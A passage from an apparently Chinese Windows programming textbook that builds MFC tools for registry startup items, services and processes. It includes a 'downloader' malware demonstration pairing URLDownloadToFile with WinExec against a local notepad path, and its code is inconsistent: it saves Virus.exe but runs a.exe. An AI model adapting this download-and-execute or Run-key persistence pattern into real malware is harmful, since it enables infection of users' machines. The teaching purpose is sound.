（5）lpReserved：保留，始终为NULL。
 
（6）lpType：返回被查询的值的类型。
 
（7）lpData：被查询的键值的缓冲区。
 
（8）lpcbData：被查询的键值的缓冲区的大小。
 
注册表键值项的删除：
 
LONG RegDeleteValue(
 
HKEY hKey,　　　　// handle to key
 
LPCTSTR lpValueName　　// value name
 
);
 
参数说明如下。
 
（1）hKey：指向一个已被打开或创建的子键的句柄。
 
（2）lpValueName：指向欲删除的键值项的名称。
 

 
3.3.3 注册表启动项的管理
 
对于Windows操作系统来说，注册表中保存了非常多的系统配置，例如常见的IE主页保存在 HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main 下的 Start Page中；再比如禁止磁盘驱动器的 AutoRun 功能在注册表的 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer 下的 NoDriveTypeAutoRun 中进行设置；还有映像劫持、文件关联……很多配置都可以在注册表中完成。
 
对于安全工具来说，通过注册表发现所有的Windows启动项是十分必要的。在注册表的启动项中，除了正常的系统工具、软件工具外，病毒和木马也会利用注册表的启动项悄然地让自身进行启动。我们通过编写一个枚举注册表启动项的工具，来学习注册表相关的操作。我们的程序依然会使用到MFC中的控件，下面随笔者一步一步地学习吧。
 

 
3.3.4 程序的界面设置及相关代码
 
注册表中可以用来完成开机启动的地方非常多，我们不一一介绍了，这里只对注册表中某个可以完成开机启动的地方进行介绍，至于其他的地方大家可以自行搜集并完成。我们的程序依然是使用对话框的形式，其界面如图3-5所示。
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  图3-5 注册表启动管理器 

 
这个界面就是我们已经编写好的软件的界面。在这个界面中，用到了CListCtrl控件，大家对其进行添加并进行相应的设置即可。在实例的介绍中，尽可能地少提及控件，因为这实非本书应该提及的内容，大家可以自行参考 MFC 开发相关的书籍。这里，给出一个关于CListCtrl初始化的代码：
 
VOID CManageRunDlg::InitRunList()
 
{
 
m_RunList.SetExtendedStyle(
 
m_RunList.GetExtendedStyle()
 
| LVS_EX_GRIDLINES // 有网络格
 
| LVS_EX_FULLROWSELECT);　// 选择单行
 
m_RunList.InsertColumn(0, _T("NO."));
 
m_RunList.InsertColumn(1, _T("键　名"));
 
m_RunList.InsertColumn(2, _T("键　值"));
 
m_RunList.SetColumnWidth(0, LVSCW_AUTOSIZE_USEHEADER);
 
m_RunList.SetColumnWidth(1, LVSCW_AUTOSIZE_USEHEADER);
 
m_RunList.SetColumnWidth(2, LVSCW_AUTOSIZE_USEHEADER);
 
}
 

 
3.3.5 启动项的枚举
 
在这个实例中，主要是枚举注册表中“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\”这个子键下的键值项。对于我们软件启动后，应该显示出在这个注册表子键位置下的所有启动项的内容，枚举的代码如下：
 
VOID CManageRunDlg::ShowRunList()
 
{
 
// 清空CListCtrl控件中的所有内容
 
m_RunList.DeleteAllItems();
 
DWORD dwType = 0;
 
DWORD dwBufferSize = MAXBYTE;
 
DWORD dwKeySize = MAXBYTE;
 
char szValueName[MAXBYTE] = { 0 };
 
char szValueKey[MAXBYTE] = { 0 };
 
HKEY hKey = NULL;
 
LONG lRet = RegOpenKey(HKEY_LOCAL_MACHINE, REG_RUN, &hKey);
 
if ( lRet != ERROR_SUCCESS )
 
{
 
return ;
 
}
 
int i = 0;
 
CString strTmp;
 
while ( TRUE )
 
{
 
lRet=RegEnumValue(hKey,i,szValueName,&dwBufferSize,NULL,&dwType,(unsigned
 
char *)szValueKey, &dwKeySize);
 
if ( lRet == ERROR_NO_MORE_ITEMS )
 
{
 
break;
 
}
 
strTmp.Format("%d", i);
 
m_RunList.InsertItem(i, strTmp);
 
m_RunList.SetItemText(i, 1, szValueName);
 
m_RunList.SetItemText(i, 2, szValueKey);
 
i ++;
 
ZeroMemory(szValueName,MAXBYTE);
 
ZeroMemory(szValueKey, MAXBYTE);
 
}
 
RegCloseKey(hKey);
 
}
 
对于注册表启动项的管理来说，应该具备几个功能，首先是屏蔽启动项，然后是删除启动项，最后是添加启动项。在我们的程序中主要完成后两个功能，一个是删除启动项，另一个是添加启动项，至于屏蔽启动项这个功能就留给大家自己实现。在很多安全软件中，如Windows 优化大师、360 安全卫士中都有屏蔽启动项的功能，大家自己思考一下屏蔽启动项与删除启动项的区别在哪里，并如何实现。
 
下面分别来看一下添加启动项和删除启动项的代码。
 

 
3.3.6 添加启动项的代码
 
添加启动项，需要添加一个窗口，至于窗口的添加方法大家自行参考 MFC 开发相关的介绍，这里就不做过多的介绍了。完整的代码会提供给大家，方便大家进行参考，这里主要是介绍与注册表操作相关的内容。添加启动项的代码如下：
 
void CManageRunDlg::OnBtnAdd()
 
{
 
// TODO: Add your control notification handler code here
 
CRegAdd RegAdd;
 
RegAdd.DoModal();
 
if ( strlen(RegAdd.szKeyName) > 0 && strlen(RegAdd.szKeyValue) > 0 )
 
{
 
HKEY hKey = NULL;
 
LONG lRet = RegOpenKey(HKEY_LOCAL_MACHINE, REG_RUN, &hKey);
 
if ( lRet != ERROR_SUCCESS )
 
{
 
return ;
 
}
 
RegSetValueEx(hKey, RegAdd.szKeyName, NULL, REG_SZ, (const unsigned char *)
 
RegAdd.szKeyValue, strlen(RegAdd.szKeyValue) + sizeof(char));
 
RegCloseKey(hKey);
 
ShowRunList();
 
}
 
else
 
{
 
AfxMessageBox("请输入完整的内容");
 
}
 
}
 

 
3.3.7 删除启动项的代码
 
删除启动项的代码比添加启动项的代码要简单，但是在删除的时候要涉及到一个关于CListCtrl控件的编程，也就是选中哪个启动项进行删除，这是一个主要的问题，获取选中的启动项后的删除就非常简单了。代码如下：
 
void CManageRunDlg::OnBtnDel()
 
{
 
// TODO: Add your control notification handler code here
 
POSITION pos = m_RunList.GetFirstSelectedItemPosition();
 
int nSelected = -1;
 
while ( pos )
 
{
 
nSelected=m_RunList.GetNextSelectedItem(pos);
 
}
 
if ( -1 == nSelected )
 
{
 
AfxMessageBox("请选择要删除的启动项");
 
return ;
 
}
 
char szKeyName[MAXBYTE] = { 0 };
 
m_RunList.GetItemText(nSelected, 1, szKeyName, MAXBYTE);
 
AfxMessageBox(szKeyName);
 
HKEY hKey = NULL;
 
LONG lRet = RegOpenKey(HKEY_LOCAL_MACHINE, REG_RUN, &hKey);
 
RegDeleteValue(hKey, szKeyName);
 
RegCloseKey(hKey);
 
ShowRunList();
 
}
 
对于启动项的管理软件的编写就到这里了，大家也可以在注册表中其他的可以使软件开机启动的位置添加进去，这样我们的软件就更加强大了。在我们不断地在注册表中发现有新的位置可以启动软件时，每次都需要进行代码添加，这样的工作太繁琐了。有没有什么好的方法当每次发现新的位置后可以不改变代码呢？请大家把前面学到的文件操作的知识联系起来进行考虑一下！我们可以把要枚举的注册表的子键保存到一个文件中，然后让程序去读取这些子键，在注册表中分别进行枚举。这样，以后每当在注册表中有新的需要枚举的内容，那么只要对这个文件进行修改就可以了，就不需要对程序本身进行修改了。大家可以试着写一个这样的程序。
 

 
3.4 服务相关的编程
 
服务是一种在操作系统启动时就启动的进程。在操作系统启动时有两种程序会一起随着系统启动，一种是普通的Win32程序，另一种是驱动程序。这里讨论的并不是要如何编写一个系统的服务，而是编写一个如何可以显示出这些随系统启动而启动的服务项。
 

 
3.4.1 如何查看系统服务
 
在Windows下，有很多服务是跟随操作系统一起进行启动的，具体有哪些服务是跟随操作系统一起启动的呢？如何查看呢？其实非常得简单。在“我的电脑”上单击鼠标右键，然后在弹出的菜单上选择“管理”命令会打开“计算机管理”工具，单击左侧树形列表中的“服务和应用程序”会出现一个列表，选择“服务”则在右侧出现了服务项列表，如图3-6所示。
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  图3-6 Windows下的服务管理程序 

 
在这个列表中，只能查看到Win32应用程序的服务，无法查看关于驱动程序的服务。我们可以借助其他一些小工具来查看驱动服务的程序，如图3-7所示。
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  图3-7 使用SREng查看驱动服务程序列表 

 
接下来编写一个程序，既可以查看应用程序服务列表，也可以查看驱动程序服务列表。编写的程序如图3-8所示。
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  图3-8 服务管理程序的界面 

 
这个服务控制管理器依然是使用 MFC 的对话框进行开发的，其中还是用到了 CListCtrl这个控件。让我们现在就动手开始打造一个自己的服务控制管理器吧。
 

 
3.4.2 服务控制管理器的开发
 
服务控制管理器的开发和注册表启动管理器的开发是差不多的，主要也是枚举服务并将其显示到列表控件中。至于对服务状态的控制，是通过服务相关的API函数来完成的。这次，我们先来看代码，希望通过阅读代码大家能自己掌握与服务相关的API函数。在代码的后面，会对开发服务控制管理器涉及到的API进行相应的解释。
 
这里笔者强调一下，学习API函数的使用，最好的老师是MSDN。在大家学习编程的道路上，要通过阅读大量的代码来提高自己的编程能力，那时大家就要自行学习API函数的使用，因此希望大家能养成好的学习习惯，也就是自己能够独立查阅MSDN来进行API函数的使用。
 
服务控制管理器的界面在前面大家已经都见过了，界面的布局方面大家可以按照书中安排的那样来，也可以根据自己的喜好来。我们要枚举的服务分为“Win32服务应用程序”和“驱动程序”两类。对于枚举这两类服务，只是枚举函数的参数有所不同，这个函数参数是系统定义的两个常量，定义分别如下：
 
// Win32应用程序服务
 
#define SERVICE_WIN32　　　　(SERVICE_WIN32_OWN_PROCESS | \
 
SERVICE_WIN32_SHARE_PROCESS)
 
// 驱动程序服务
 
#define SERVICE_DRIVER　　　　(SERVICE_KERNEL_DRIVER | \
 
SERVICE_FILE_SYSTEM_DRIVER | \
 
SERVICE_RECOGNIZER_DRIVER)
 
看一下服务枚举时的代码：
 
VOID CManageServiceDlg::ShowServiceList(DWORD dwServiceType)
 
{
 
m_ServiceList.DeleteAllItems();
 
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
 
if ( NULL == hSCM )
 
{
 
AfxMessageBox("OpenSCManager Error");
 
return ;
 
}
 
DWORD dwBufSize = 512 * sizeof(ENUM_SERVICE_STATUS);
 
DWORD dwByteNeeded, dwServicesReturned, lpResumeHandle = 0;
 
ENUM_SERVICE_STATUS SerStatus[512] = { 0 };
 
BOOL bRet = EnumServicesStatus(hSCM,
 
dwServiceType,
 
SERVICE_STATE_ALL,
 
SerStatus,
 
dwBufSize,
 
&dwByteNeeded,
 
&dwServicesReturned,
 
&lpResumeHandle);
 
if ( FALSE == bRet )
 
{
 
AfxMessageBox("EnumServiceStatus Error");
 
CloseServiceHandle(hSCM);
 
return ;
 
}
 
for ( DWORD i = 0; i < dwServicesReturned; i ++ )
 
{
 
CString str;
 
str.Format("%d", i);
 
m_ServiceList.InsertItem(i, str);
 
m_ServiceList.SetItemText(i, 1, SerStatus[i].lpServiceName);
 
m_ServiceList.SetItemText(i, 2, SerStatus[i].lpDisplayName);
 
switch ( SerStatus[i].ServiceStatus.dwCurrentState )
 
{
 
case SERVICE_PAUSED:
 
{
 
m_ServiceList.SetItemText(i, 3,"暂停");
 
break;
 
}
 
case SERVICE_STOPPED:
 
{
 
m_ServiceList.SetItemText(i, 3,"停止");
 
break;
 
}
 
case SERVICE_RUNNING:
 
{
 
m_ServiceList.SetItemText(i, 3,"运行");
 
break;
 
}
 
default:
 
{
 
m_ServiceList.SetItemText(i, 3,"其他");
 
}
 
}
 
}
 
CloseServiceHandle(hSCM);
 
}
 
该成员函数有一个参数，这个参数就是用来指明是枚举“Win32应用程序服务”，还是用来枚举“驱动程序服务”的。也就是我们前面提到的两个系统定义的常量了，参数根据两个常量的不同，枚举到的服务也不同。
 

 
3.4.3 枚举服务的相关API函数
 
打开服务管理器：
 
SC_HANDLE OpenSCManager(
 
LPCTSTR lpMachineName,　// computer name
 
LPCTSTR lpDatabaseName,　// SCM database name
 
DWORD dwDesiredAccess　// access type
 
);
 
参数说明如下。
 
（1）lpMachineName：指向欲打开服务控制管理器数据库的目标主机名，本机则设置为NULL。
 
（2）lpDatabaseName：指向了目标主机SCM数据库名字的字符串。
 
（3）dwDesiredAccess：指定对SCM数据库的访问权限。
 
这里介绍一下，SCM是服务控制管理器的意思，它是系统服务的一个组成部分，跟我们开发的软件不是一个概念。由于我们不是编写一个具体的服务，而只是对系统现有的服务进行一个枚举，因此，一些概念性的知识希望大家可以自行查阅相关的资料。
 
该函数调用成功，返回一个SCM句柄，否则返回NULL。
 
关闭服务句柄：
 
BOOL CloseServiceHandle(
 
SC_HANDLE hSCObject　// handle to service or SCM object
 
);
 
该函数用来关闭OpenSCManager()和OpenService()打开的句柄。
 
枚举服务：
 
BOOL EnumServicesStatus(
 
SC_HANDLE hSCManager,　　　// handle to SCM database
 
DWORD dwServiceType,　　　// service type
 
DWORD dwServiceState,　　　// service state
 
LPENUM_SERVICE_STATUS lpServices,　// status buffer
 
DWORD cbBufSize,　　　　　　// size of status buffer
 
LPDWORD pcbBytesNeeded,　　　　// buffer size needed
 
LPDWORD lpServicesReturned,　　　// number of entries returned
 
LPDWORD lpResumeHandle　　　　// next entry
 
);
 
参数说明如下。
 
（1）hSCManager：OpenSCManager()函数返回的句柄。
 
（2）dwServiceType：指定枚举的服务类型，也就是我们自定义函数的那个参数。
 
（3）dwServiceState：枚举指定状态的服务。
 
（4）lpService：指向ENUM_SERVICE_STATUS类型的指针。
 
（5）cbBufSize：指定缓冲区的大小。
 
（6）pcbBytesNeeded：返回实际使用的内存空间大小。
 
（7）lpServicesReturn：返回枚举服务的个数。
 
（8）lpResumeHandle：返回枚举是否成功。
 
ENUM_SERVICE_STATUS结构的定义：
 
typedef struct _ENUM_SERVICE_STATUSA {
 
LPSTR　　　lpServiceName;　　// 服务名
 
LPSTR　　　lpDisplayName;　　// 显示名称
 
SERVICE_STATUS　ServiceStatus;　// 服务状态
 
} ENUM_SERVICE_STATUSA, *LPENUM_SERVICE_STATUSA;
 
SERVICE_STATUS结构的定义：
 
typedef struct _SERVICE_STATUS {
 
DWORD　dwServiceType;
 
DWORD　dwCurrentState;　　　// 服务当前状态
 
DWORD　dwControlsAccepted;
 
DWORD　dwWin32ExitCode;
 
DWORD　dwServiceSpecificExitCode;
 
DWORD　dwCheckPoint;
 
DWORD　dwWaitHint;
 
} SERVICE_STATUS, *LPSERVICE_STATUS;
 

 
3.4.4 服务的停止
 
对于枚举到的服务，对我们来说只有两种操作，一种是启动服务，另一种是停止服务。系统中有很多我们不用的服务，它会随着电脑的启动而启动，这样既会影响系统的启动速度，也会占用宝贵的系统资源，因此，没用的系统服务要停掉。先来看看停止系统服务的代码。
 
void CManageServiceDlg::OnBtnStop()
 
{
 
// TODO: Add your control notification handler code here
 
// 选中服务的索引，关于列表框中如何获得选中列表项的代码就省略了
 
……
 
// 获取选中服务的服务名
 
char szServiceName[MAXBYTE] = { 0 };
 
m_ServiceList.GetItemText(nSelect, 1, szServiceName, MAXBYTE);
 
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
 
if ( NULL == hSCM )
 
{
 
AfxMessageBox("OpenSCManager Error");
 
return ;
 
}
 
SC_HANDLE hSCService = OpenService(hSCM, szServiceName, SERVICE_ALL_ACCESS);
 
SERVICE_STATUS ServiceStatus;
 
// 停止服务
 
BOOL bRet = ControlService(hSCService, SERVICE_CONTROL_STOP, &ServiceStatus);
 
if ( bRet == TRUE )
 
{
 
m_ServiceList.SetItemText(nSelect, 3, "停止");
 
}
 
else
 
{
 
int n = GetLastError();
 
}
 
CloseServiceHandle(hSCService);
 
CloseServiceHandle(hSCM);
 
}
 

 
3.4.5 停止服务的相关API函数
 
打开服务函数：
 
SC_HANDLE OpenService(
 
SC_HANDLE hSCManager,　// handle to SCM database
 
LPCTSTR lpServiceName, // service name
 
DWORD dwDesiredAccess　// access
 
);
 
参数说明如下。
 
（1）hSCManager：指定由OpenSCManager()函数打开的服务句柄。
 
（2）lpServiceName：指向要打开的服务的名称。
 
（3）dwDesiredAccess：对要打开服务的访问权限。
 
控制服务函数：
 
BOOL ControlService(
 
SC_HANDLE hService,　　　　　// handle to service
 
DWORD dwControl,　　　　　　// control code
 
LPSERVICE_STATUS lpServiceStatus　　// status information
 
);
 
参数说明如下。
 
（1）hService：指定一个由OpenService()打开的服务句柄。
 
（2）dwControl：指定了要发送的控制码，ControlService()可以对服务进行多种控制，每种控制对应一种控制码。
 
（3）lpServiceStatus：用于返回服务的状态。
 

 
3.4.6 服务的启动
 
启动服务的代码与停止服务的代码类似。这里简单地给出启动服务的部分代码，具体的代码自己动手写写。启动服务的部分代码如下：
 
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
 
if ( NULL == hSCM )
 
{
 
AfxMessageBox("OpenSCManager Error");
 
return ;
 
}
 
SC_HANDLE hSCService = OpenService(hSCM, szServiceName, SERVICE_ALL_ACCESS);
 
// 启动服务
 
BOOL bRet = StartService(hSCService, 0, NULL);
 
if ( bRet == TRUE )
 
{
 
m_ServiceList.SetItemText(nSelect, 3, "运行");
 
}
 
else
 
{
 
int n = GetLastError();
 
}
 
启动服务相关API函数解释：
 
BOOL StartService(
 
SC_HANDLE hService,　　　　// handle to service
 
DWORD dwNumServiceArgs,　　　// number of arguments
 
LPCTSTR *lpServiceArgVectors　// array of arguments
 
);
 
参数说明如下。
 
（1）hService：指定了要启动服务的句柄。
 
（2）dwNumServiceArgs：指向了启动服务所需的参数个数。
 
（3）lpServiceArgVectors：指向了启动服务的参数。
 
该函数最后两个参数类似main(int argc, char *argv[])中的两个参数的作用。
 

 
3.5 进程与线程
 

 
3.5.1 进程
 
当按下Ctrl+Shift+Esc 组合键时，就打开了Windows 任务管理器对话框，里面有很多进程列表，如图3-9所示。
 

 [image: figure_0057_0031]

 

  图3-9 任务管理器 

 
进程是运行当中的程序，是向操作系统申请资源的基本单位。我们运行一个记事本程序，那么就相应会创建一个记事本的进程。当关闭记事本时，进程也随即结束了。对于这个任务管理器中，我们对进程比较关心的是“映像名称”、“PID”两项。对于进程相关的，我们主要学习进程的启动、结束、枚举等编程。
 

 
3.5.2 进程的创建
 
任何一个计算机文件都是一个二进制文件，对于可执行程序来说，它的二进制数据是可以被CPU执行的。程序的概念是一个静态的概念，程序本身只是存在于硬盘上的一个二进制文件。当用鼠标双击了某个可执行程序以后，这个程序就被加载，如内存，这时就产生了一个进程。进程会向系统申请各种所需的资源，并且会生成一个主线程，线程会拥有CPU执行时间，占用进程申请的内存……那么在编程的时候用API函数启动一个进程也是我们要学习的内容。可以创建进程的API函数有WinExec()、ShellExecute()和CreateProcess()等。这里主要介绍WinExec()和CreateProcess()两个函数。
 

 
3.5.3 “下载者”的简单演示
 
WinExec()函数介绍：
 
UINT WinExec(
 
LPCSTR lpCmdLine,　// command line
 
UINT uCmdShow　　// window style
 
);
 
参数说明如下。
 
（1）lpCmdLine：指向一个欲执行的可执行文件。
 
（2）uCmdShow：程序运行后的窗口状态。
 
对于第一个参数比较好理解，比如要执行“记事本”程序，那么这个参数就可以是“c:\windows\system32\notepad.exe”。对于第二个参数是指程序运行窗口的状态，常用的有两个，一个是SW_SHOW，另一个是SW_HIDE。第一个参数是程序运行后窗口显示，另一个是程序运行后窗口不显示。大家可以试着创建一个不显示窗口的“记事本”程序。代码很简单，如下：
 
WinExec("c:\\windows\\notepad.exe", SW_HIDE);
 
这样创建的“记事本”进程，在任务管理器中可以看到“notepad.exe”这个进程，但是无法看到其窗口界面。
 
WinExec()这个函数多用在“下载者”中，“下载者”的英文名字叫“Downloader”，也就是下载器的意思，它是一种恶意程序，该恶意程序的功能较为单一（相对木马来说功能单一）。该恶意程序的功能是让受害计算机到黑客指定的 URL 地址去下载更多的病毒文件或木马文件并运行。下载者的体积较小，容易传播。当“下载者”下载到病毒或木马后，通常都会使用WinExec()来运行病毒。
 
我们简单地来做一个“下载者”的演示，记住，这只是一个演示。不要企图拿来做坏事，因为我们的演示代码很轻易地会被杀毒软件杀掉，我们的目的是学习编程知识。
 
我们要完成一个模拟的“下载者”，既然是“下载者”，重要的当然是文件的下载了。文件的下载方式比较多，但是相对简单而又比较常用的函数是 URLDownloadToFile()，这个函数也是经常出现在“下载者”中的函数，该函数的定义如下：
 
HRESULT URLDownloadToFile(
 
LPUNKNOWN pCaller,
 
LPCTSTR szURL,
 
LPCTSTR szFileName,
 
DWORD dwReserved,
 
LPBINDSTATUSCALLBACK lpfnCB
 
);
 
参数说明如下。
 
（1）szURL：指向URL地址的字符串。
 
（2）szFileName：指向要保存地址的字符串。
 
其余参数我们不做介绍，如果需要了解大家可以自行查阅MSDN。
 
对于使用URLDownloadToFile()函数，需要包含Urlmon.h头文件及Urlmon.lib库文件，否则当编译和链接时会无法通过。
 
既然了解了该函数的使用，那么我们就来完成一个模拟的“下载者”吧。代码如下：
 
char szUrl[MAX_PATH] = "c:\\windows\\system32\\notepad.exe";
 
char szFile[MAX_PATH] = "d:\\Virus.exe";
 
URLDownloadToFile(NULL, szUrl, szFile, 0, NULL);
 
WinExec("d:\\a.exe", SW_SHOW);
 
我们的模拟是把C盘系统目录下的记事本程序下载到D盘下并保存为Virus.exe，然后运行它。这里只是一个简单模拟，如果要真正完成一个“下载者”的话，其代码要复杂很多。如果要在源代码上对其进行“免杀”，那么要考虑的问题也会很多。
 

 
3.5.4 CreateProcess()函数介绍与程序创建
 
通常情况下，我们创建一个进程都会选择使用 CreateProcess()，该函数的参数非常多，功能更强大，使用也更为灵活。WinExec()函数的使用相对简单，只能完成简单的进程创建工作。如果要对创建的进程有控制的能力，那么必须使用CreateProcess( )函数。
 
在介绍CreateProcess()函数之前，先来考虑一个问题。在我们编写C程序时，如果是控制台下的程序，那么编写程序的入口函数是main()函数，也就是我们通常所说的主函数。如果是一个Windows程序，那么入口函数是WinMain()函数，即使使用MFC进行开发，也是有WinMain()函数的，只不过它被庞大的MFC框架给隐藏了。那么我们的函数真的是从main()函数或者是 WinMain()开始执行的吗？我们在写控制台程序时，如果需要给程序提供参数，那么这个参数是从哪里来的呢？
 
我们使用VC6来写一个简单的程序，并调试一下，看程序是否真的是由main()函数开始的。我们选择第1 章介绍的输出“Hello World”的程序来演示。
 
是否还记得第1 章写的在控制台下打印“Hello World”字样的程序呢？好，让我们回忆一下当时写的程序吧，如图3-10所示。
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  图3-10 输出“Hello World”的程序 

 
接下来要怎么做呢？按下 F10 键，这时，我们的程序在 VC6 下处于调试状态，打开“CallStack”窗口，如图3-11所示。
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  图3-11 CallStack窗口内容 

 
双击“mainCRTStartup() line 206 + 25 bytes”这一行，查看代码编辑窗口的内容，如图3-12所示。
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  图3-12 当前代码编辑窗口内容 

 
可以看到，绿色三角指向那行代码是对main()函数的调用，并且main()函数还有返回值。滚动代码，查看一下mainret变量的类型。该变量的定义如下：
 
int mainret;
 
该变量的类型为int型。那么，当定义main()函数时，main()函数的返回值是什么呢？通常情况下，定义main()函数的返回值是int型。但是，也有一部分人喜欢把main()函数的返回值定义为void型，也就是空型。那么，如果定义为void型，mainret接收的返回值是什么呢？在Windows下约定，函数的返回值保存在eax寄存器中。如果对main()函数的返回值定义为void型，那么当main()函数返回后，mainret中保存的是退出main()函数后eax寄存器中的值。
 
除了这个以外，大家看一下VC6的标题栏，标题栏上给出的这个“.C”文件，我们叫做启动代码，用于在启动一个进程后对全局变量等内容的初始化。再看一下图3-11，CallStack还有一行，双击它，观察代码编辑器中的内容。由于这部分不是我们讨论的重点，因此就不进行介绍了。如果有兴趣的话，大家可以自行学习研究。
 
下面介绍CreateProcess()函数的使用。
 
CreateProcess()函数原型：
 
BOOL CreateProcess(
 
LPCTSTR lpApplicationName,
 
LPTSTR lpCommandLine,
 
LPSECURITY_ATTRIBUTES lpProcessAttributes,
 
LPSECURITY_ATTRIBUTES lpThreadAttributes,
 
BOOL bInheritHandles,
 
DWORD dwCreationFlags,
 
LPVOID lpEnvironment,
 
LPCTSTR lpCurrentDirectory,
 
LPSTARTUPINFO lpStartupInfo,
 
LPPROCESS_INFORMATION lpProcessInformation
 
);
 
参数说明如下。
 
（1）lpApplicationName：指定可执行文件的文件名。
 
（2）lpCommandLine：指定可执行文件的运行参数。
 
（3）lpProcessAttributes：进程安全属性，该值通常为NULL，表示为默认安全属性。
 
（4）lpThreadAttributes：线程安全属性，该值通常为NULL，表示为默认安全属性。
 
（5）bInheritHandles：指定当前进程中的可继承句柄是否可被新进程继承。
 
（6）dwCreationFlags：指定新进程的优先级以及其他创建标志。
 
该参数一般情况下可以为0。
 
如果要创建一个被调试进程的话，需要把该参数设置为 DEBUG_PROCESS。创建进程的进程为父进程，被创建的进程为子进程。也就是说，父进程要对子进程进行调试的话，需要指定DEBUG_PROCESS。在指定了DEBUG_PROCESS后，子进程创建的子进程，同样也处在被调试状态中。
 
如果不希望子进程创建的子进程处在调试状态，那么需要同时指定DEBUG_ONLY_THIS_PROCESS。
 
在有些情况下，如果希望被创建的子进程暂时不要运行，那么可以指定CREATE_SUSPENDED 参数。事后希望该子进程运行的话，那么可以使用 ResumeThread()函数使子进程恢复运行。
 
（7）lpEnvironment：指定新进程的环境变量。
 
（8）lpCurrentDirectory：指定新进程使用的当前目录。
 
（9）lpStartupInfo：指定新进程的启动信息。
 
该参数是一个结构体，该结构体决定进程启动的状态，该结构体的定义如下：
 
typedef struct _STARTUPINFO {
 
DWORD　cb;
 
LPTSTR　lpReserved;
 
LPTSTR　lpDesktop;
 
LPTSTR　lpTitle;
 
DWORD　dwX;
 
DWORD　dwY;
 
DWORD　dwXSize;
 
DWORD　dwYSize;
 
DWORD　dwXCountChars;
 
DWORD　dwYCountChars;
 
DWORD　dwFillAttribute;
 
DWORD　dwFlags;
 
WORD　wShowWindow;
 
WORD　cbReserved2;
 
LPBYTE　lpReserved2;
 
HANDLE hStdInput;
 
HANDLE hStdOutput;
 
HANDLE hStdError;
 
} STARTUPINFO, *LPSTARTUPINFO;
 
该结构体在使用前，需要对cb这个成员变量赋值，该成员变量用于保存结构体的大小。该结构体的使用不做过多的介绍了，如果要对新进程的输入输出重定向的话，会用到该结构体。
 
（10）lpProcessInformation：返回新进程、进程线程等相关信息。
 
该参数同样是一个结构体，该结构体的定义如下：
 
typedef struct _PROCESS_INFORMATION {
 
HANDLE hProcess;
 
HANDLE hThread;
 
DWORD dwProcessId;
 
DWORD dwThreadId;
 
} PROCESS_INFORMATION;
 
该结构体中保存着新创建进程的句柄、进程主线程的句柄，还有进程ID和主线程的ID。
 
下面进行一个简单的演示，用CreateProcess()创建一个记事本进程代码如下：
 
PROCESS_INFORMATION pi = { 0 };
 
STARTUPINFO si = { 0 };
 
si.cb = sizeof(STARTUPINFO);
 
BOOL bRet = CreateProcess("c:\\windows\\system32\\notepad.exe",
 
NULL,
 
NULL,
 
NULL,
 
FALSE,
 
NULL,
 
NULL,
 
NULL,
 
&si,
 
&pi);
 
if ( bRet == FALSE )
 
{
 
printf("CreateProcess Error !\r\n");
 
return -1;
 
}
 
CloseHandle(pi.hThread);
 
CloseHandle(pi.hProcess);
 
对于进程创建后PROCESS_INFORMATION接收的两个句柄，需要进行关闭。
 

 
3.5.5 进程的结束
 
介绍完进程的创建，对于进程的结束，通常情况下希望程序可以自己进行结束，也就是进程正常退出运行状态。在进程正常进行退出时，会调用 ExitProcess()函数，该函数使用简单，这里就不进行介绍了。我们主要介绍一下，如何实现类似任务管理器那样结束其他的进程。
 
结束其他进程需要使用到TerminateProcess()这个函数，该函数的定义如下：
 
BOOL TerminateProcess(
 
HANDLE hProcess, // handle to the process
 
UINT uExitCode　// exit code for the process
 
);
 
该函数的参数比较少，只有两个，第一个参数是要结束进程的进程句柄，第二个参数通常给 0。那么这里遇到一个问题，我们如何获得要结束进程的进程句柄呢？方法有两种，第一种方法是枚举进程列表，找到要结束的进程，枚举进程的内容稍后会介绍。第二种方法是根据要结束进程的窗口标题获得该窗口的句柄，然后通过窗口句柄得到进程的 PID，有了进程的PID后，我们可以打开该进程得到进程的句柄，然后将其结束。我们这节主要介绍第二种方法。
 
下面通过介绍如何结束“记事本”进程来学习笔者所说的第二种方法。先来看一下代码。
 
#include <Windows.h>
 
int main(int argc, char* argv[])
 
{
 
HWND hNoteWnd=FindWindow(NULL,"无标题-记事本");
 
if ( hNoteWnd == NULL )
 
{
 
return-1;
 
}
 
DWORD dwNotePid = 0;
 
GetWindowThreadProcessId(hNoteWnd, &dwNotePid);
 
if ( dwNotePid == 0 )
 
{
 
return-1;
 
}
 
HANDLE hNoteHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwNotePid);
 
if ( hNoteHandle == NULL )
 
{
 
return-1;
 
}
 
TerminateProcess(hNoteHandle, 0);
 
CloseHandle(hNoteHandle);
 
return 0;
 
}
 
我们打开一个“记事本”，然后编译运行这段代码，会发现“记事本”被关闭了。我们逐个介绍我们使用到的这些API函数。
 
首先来介绍FindWindow()这个函数，FindWindow()函数的原型如下：
 
HWND FindWindow(
 
LPCTSTR lpClassName,　// class name
 
LPCTSTR lpWindowName　// window name
 
);
 
该函数有两个参数，第一个参数是类名，第二个参数是窗口名。该函数的返回值就是窗口的句柄。这两个参数只要指定一个就可以了。对于我们来说，希望通过进程的窗口名来获得窗口的句柄，因此这里只要给出窗口名就可以了。在我们的代码中，“记事本”的窗口名为“无标题 - 记事本”，如果窗口名取得不准确的话，那么将无法获得该窗口的窗口句柄。怎样才能准确无误地获取窗口的名称呢？这里推荐大家使用一款VC6中自带的工具——SPY++。只要安装了VC6后，就会安装该工具，大家可以在开始菜单中找到，其具体位置为：“开始”->“程序”->“Microsoft Visual Studio 6.0”->“Microsoft Visual Studio 6.0 Tools”->“Spy++”。打开“Spy++”这个工具，如图3-13所示。
 
单击工具栏中的[image: figure_0063_0035]按钮，该按钮为“Find”按钮，出现如图3-14 所示的“Windows Search”界面。
 
用鼠标拖动“Finder Tool”后面的那个图标到“记事本”进程的标题栏上，该窗口会显示出“记事本”的窗口名，如图3-15所示。
 

 [image: figure_0064_0036]

 

  图3-13 Spy++工具界面 

 

 [image: figure_0064_0037]

 

  图3-14 “Window Search”界面 

 

 [image: figure_0064_0038]

 

